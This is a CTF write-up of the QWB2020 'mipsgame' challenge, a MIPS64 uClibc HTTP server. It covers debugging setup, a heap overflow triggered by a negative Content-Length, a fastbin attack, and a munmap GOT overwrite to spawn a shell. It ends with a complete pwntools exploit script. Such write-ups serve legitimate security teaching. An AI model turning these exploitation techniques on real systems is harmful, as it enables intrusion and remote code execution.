Mid Station

[QWB2020 Quals] - mipsgame

相信多年后想起2020的夏天还是会会心一笑 。
似乎永远花不完的夜宵券,腾云三楼铁板烧窗口,每周上新的免费雪糕承担了体重上升的借口,
亲身参与中国队伍首次DEFCON CTF夺冠,见识过顶级选手的神仙操作,多熬了几个通宵也是值得,
没有比赛的周末会和阿良到豫园站旁边的ChaletPlus喝可以续杯的Tequila Sunrise或Sea Breeze。

This is a challenge from QiangWangBei Quals this year. QiangWangBei is considered to be one of the top CTF game in China.The challenge is a http server in MIPS64, only two solved during the game (from 0ops and eee). I’ve found the vulnerability and constructed a PoC during the game, but didn’t have enough time to build a system-mode emulation environment to finish the expliot. Also, because unfamiliar with uclibc, I didn’t come up with a viable method to hijack the control flow.

After the game finished, I recalled how to build the QEMU debugging environement with buildroot. I shared this knowledge with my colleague @ruan, he wrote a detailed writeup (in chinese) about the building steps. So in this writeup I’ll focus on the challenge itself. I finished this challenge with some hints from @Himyth. Thanks @Himyth and @ruan!

Debug Environment

You can download the challenge from here. The challenge designer provides a httpd MIPS64 binary with ld64-uClibc-1.032.so and libuClibc-1.0.32.so. With these binaries, it is easy to launch the program in user-mode emulation. We can copy the library files ld64-uClibc-1.0.32.so -> ./lib/ld64-uClibc.so.0 and libuClibc-1.0.32.so -> ./lib/libc.so.0. Then launch the httpserver with qemu-mips64:

1
2
qemu-mips64 -L ./ httpd # without gdbserver
qemu-mips64 -L ./ -g 1234 httpd # with gdbserver

In this way, there is no ASLR and the base addresses of each sections are quite different from the system-mode emulation. For example, in user-mode, libc address will be 0x4000xxxxxx, but the correct address will be 0xfff7xxxxxx in system-mode. Aftering leaking some addresses from the remote server, we confirmed that the remote service is running in system emulation. Such difference will make it hard to develop a stable exploit against remote service, for example leaking a libc address with puts in user-mode will fail because of the 00 in the middle of the address, but we don’t have such trouble in system-mode. So it is better to have a system-mode debugging environment.

Reversing and Vulnerability

Since our favorite reverse engineering tool IDA pro does not support decompiling mips64 yet. We tried Ghidra and it works surprisingly well. A flaw here is Ghidra could not identify some sections’ base addresses correctly, so it could not process the data references.
data references errordata references error
The tip here is to fix the memory mapping, you could click the “memory map” button at toolbox, then find “.rodata” section, then click the “move the block to anthor address” button on top right. Now you could change the start address from 0x13cc0 to 0x3cc0, and the data references should be good.
fixing memory mappingfixing memory mapping
Then we can see the logic of this program clearly. It accepts http request from stdin and print response on stdout. There is a serve_file which can read static files from “htdocs” and return their contents, but it sanitizes “..” token, so we could not escape the directory.
It also has a handle function, which provides a interface like common menu style heap challenge. We can use POST method to create or edit an item.

1
2
3
4
5
6
7
8
def post(idx, len, content):
payload = "POST /index.html HTTP/1.1\n"
payload += "Content-Length: %d\n" % len
payload += "Content-Indexx: %d\n" % idx
p.sendline(payload)
p.clean()
p.send(content)
p.recvrepeat(0.1)

And it provides show and delete functions:

1
2
3
4
5
6
7
8
def show(idx):
payload = "GET /index.html?Show=%d HTTP/1.1\n" % idx
p.sendline(payload)

def delete(idx):
payload = "GET /index.html?Del=%d HTTP/1.1\n" % idx
p.sendline(payload)
p.recvrepeat(0.1)

It turns out these logic are bug-free. The vulnerability is when dealing with incorrect Content-Length. When processing a POST request, it will get at most 0x400 bytes of request content and try to parse the Content-Length. If the Content-Length value is converted to a negative number, the error value as well as its size will be passed to error_request.

1
2
3
4
5
6
7
8
9
10
11
12
iVar3 = strcasecmp(local_38,"POST");
if (CONCAT44(extraout_v0_hi_05,iVar3) == 0) {
size = get_line(&local_460,0x400);
while ((0 < size &&
(iVar3 = strcmp("\n",(char *)&local_460), CONCAT44(extraout_v0_hi_08,iVar3) != 0))) {
local_458 = local_458 & 0xffffffffffffff00;
iVar3 = strcasecmp((char *)&local_460,"Content-Length:");
if ((CONCAT44(extraout_v0_hi_06,iVar3) == 0) &&
(local_474 = atoi((char *)&buf), (int)local_474 < 0)) {
error_request(&buf,size + -0x11);
return;
}

error_request will first copy the error value into global pointer info. But the memset(info, 0, 0x200) suggests that the size of info buffer is only 0x200 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void error_request(void *param_1,size_t param_2)
{
char *__s;
size_t sVar1;

__s = info;
memset(info,0,0x200); // suggesting info in the size of 0x200
sprintf(__s,"HTTP/1.0 400 ERROR REQUEST\r\n");
...
memcpy(__s,param_1,param_2); // [!Bug!] copy according to the arguments, where param_1 can be at most 0x400 bytes.
sprintf(__s,"\r\n");
sVar1 = strlen(__s);
write(1,__s,sVar1);
return;
}

If we trace the info pointer and we can see that it was allocated in init function, it was on the heap and in the size of 0x200 bytes.

1
2
3
4
5
6
7
8
9
10
11
int init(EVP_PKEY_CTX *ctx)

{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
alarm(0x3c);
tmp = malloc(0x250);
info = malloc(0x200); // info was allocated here
return 0x1143b0;
}

Now we can construct a PoC like:

1
2
3
4
5
6
7
def error_post(idx, content):
payload = "POST /index.html HTTP/1.1\n"
payload += "Content-Length: %s\n" % content
p.sendline(payload)
p.recvrepeat(0.1)

error_post(0, "-1 "+ "A" * 0x300) # heap overflow!

Heap-Overflow and uclibc

The problem becomes how to exploit a heap overflow vulnerability in uclibc. In recent version of uclibc, the allocator is based on early version of ptmalloc. So some common heap exploitation techniques in glibc can be applied, and the good news is there are much fewer security hardening measures in uclibc.

The attack plans is first leaking a libc address from the chunk inside unsortedbin, with the heap-overflow and the show function, this is very easy. Then we can perform fastbin attack and get aribitrary write primitive. Using the heap overflow to modify the fd of freed chunk in fastbin is also easy, and we don’t need to care about selecting a fake size, because there is no size check.

The only question here is how to hijack the control flow with this arbitrary write. If you look at the source code of uclibc or open its binary with IDA Pro, there is no such thing like __free_hook or __malloc_hook.

We look at the disassembly of free function, and realize that the calling instruction is perfromed with $gp and $t9 registers. $gp is pointing to an address from data section, when calling another libc function, it first load the address with offset to $t9 and then jalr $t9 to finish the calling operation. For example, when calling __pthread_cleanup_push_defer on line 24, it first loads the target function address with ld $t9, -0x6890($gp) on line 19, and then jalr $t9 to call the target function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:000000000005D7B8                 .globl free  # weak
.text:000000000005D7B8 free: # CODE XREF: getcwd+124↑p
.text:000000000005D7B8 # closedir+A8↑p ...
.text:000000000005D7B8
.text:000000000005D7B8 var_20 = -0x20
.text:000000000005D7B8 var_18 = -0x18
.text:000000000005D7B8 var_10 = -0x10
.text:000000000005D7B8 var_8 = -8
.text:000000000005D7B8
.text:000000000005D7B8 beqz $a0, locret_5D9EC
.text:000000000005D7BC nop
.text:000000000005D7C0 daddiu $sp, -0x40
.text:000000000005D7C4 sd $gp, 0x40+var_10($sp)
.text:000000000005D7C8 lui $gp, %hi(off_A8510+0x7FF0 - free)
.text:000000000005D7CC daddu $gp, $t9
.text:000000000005D7D0 daddiu $gp, %lo(off_A8510+0x7FF0 - free)
.text:000000000005D7D4 ld $a2, -0x7300($gp) # arg
.text:000000000005D7D8 ld $a1, -0x6708($gp) # routine
.text:000000000005D7DC ld $t9, -0x6890($gp)
.text:000000000005D7E0 sd $s1, 0x40+var_18($sp)
.text:000000000005D7E4 move $s1, $a0
.text:000000000005D7E8 move $a0, $sp # buffer
.text:000000000005D7EC sd $ra, 0x40+var_8($sp)
.text:000000000005D7F0 jalr $t9 ; _pthread_cleanup_push_defer
.text:000000000005D7F4 sd $s0, 0x40+var_20($sp)
.text:000000000005D7F8 ld $t9, -0x7D90($gp)
.text:000000000005D7FC jalr $t9 ; pthread_mutex_lock

We examined the $gp value in gdb, and calculate -0x6890 $(gp), the address is 0xa9c70. This address is located in .got. And it is writable.

1
2
3
4
5
6
7
8
.got:00000000000A9C70 _pthread_cleanup_push_defer_ptr:.dword _pthread_cleanup_push_defer
.got:00000000000A9C78 dlsym_ptr: .dword dlsym
.got:00000000000A9C80 __syscall_error_ptr:.dword __syscall_error
.got:00000000000A9C88 ttyname_r_ptr_0:.dword ttyname_r
.got:00000000000A9C90 _dl_malloc_ptr: .dword _dl_malloc
.got:00000000000A9C98 _dl_handles_ptr:.dword _dl_handles
.got:00000000000A9CA0 endmntent_ptr_0:.dword endmntent
.got:00000000000A9CA8 setresuid_ptr: .dword setresuid

We tried to overwrite this address with gdb command: set {unsigned long long} $libc+0xa9c70 = 0xdeadbeef, and request a delete operation, control flow hijacked. So the conclusion is that the libc function calling is finished via some got-like mechanism, we can overwrite the got entry and hijack the control flow.

But hijacking _pthread_cleanup_push_defer could not control the first argument. At last we chose to hijack the munmap function at the end of free, so that we can control the first argument. By modifying munmap to system and setting up chunk content to /bin/sh, we can spawn a shell. Of course, we need to faking the chunksize to fullfill the condition of chunk_is_mmapped and get into the munmmap branch, because IS_MMAPPED is 0x2, so a fake size like 0x20002 will do the trick.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
import re
import subprocess
# flag{QWB_Snak3_Gam3_Te11_Y0u_Th3_Secret_0f_MIPS64}

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
env = {'LD_PRELOAD': ''}
# context.log_level = "debug"
context.endian = "big"

if len(sys.argv) == 1:
p = process(['qemu-mips64', '-L', './', '-g', '1234', 'httpd'])
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

def post(idx, len, content):
payload = "POST /index.html HTTP/1.1\n"
payload += "Content-Length: %d\n" % len
payload += "Content-Indexx: %d\n" % idx
p.sendline(payload)
p.clean()
p.send(content)
p.recvrepeat(0.1)

def show(idx):
payload = "GET /index.html?Show=%d HTTP/1.1\n" % idx
p.sendline(payload)

def delete(idx):
payload = "GET /index.html?Del=%d HTTP/1.1\n" % idx
p.sendline(payload)
p.recvrepeat(0.1)

def error_post(idx, content):
payload = "POST /index.html HTTP/1.1\n"
payload += "Content-Length: %s\n" % content
p.sendline(payload)
p.recvrepeat(0.1)


# leak heap
post(0, 0x20, "A"*0x20)
post(1, 0x120, "B"*0x120)
post(2, 0x20, "C"*0x20)
post(3, 0x20, "D"*0x20)
delete(1)

error_post(0, "-1 "+ "A" * (509+0x38+11-4) + "@@@@") # idx0: 0x20d
show(0)
ru("@@@@")
leak_libc = uu64(rc(5).rjust(8, "\x00"))
info_addr("leak_libc", leak_libc)
libc = leak_libc-0xc2d48
info_addr("libc", libc)

system = libc + 0x65370
puts = libc + 0x457b0
munmmap = libc + 0xa9228 # munmap@got

error_post(0, "-1 "+ "A" * (509) + p64(0) + p64(0x31)) # recover
delete(2)
delete(0)
error_post(0, "-1 "+ "A" * (509) + p64(0) + p64(0x31) + p64(munmmap-0x10 + 3)) # write fd
post(4, 0x20, "/bin/sh".ljust(0x20, "\x00"))
post(5, 0x20, p64(system)[3:].ljust(0x20, "\x00"))
error_post(0, "-1 "+ "A" * (509) + p64((1<<64)-0x10) + p64(0x20002)) # faking #4's chunksize
# free to trigger
# raw_input("go?")
delete(4)

p.interactive()

References

  1. https://ruan777.github.io/2020/08/25/mips64%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/
  2. https://github.com/Ma3k4H3d/2020-QWB-PWN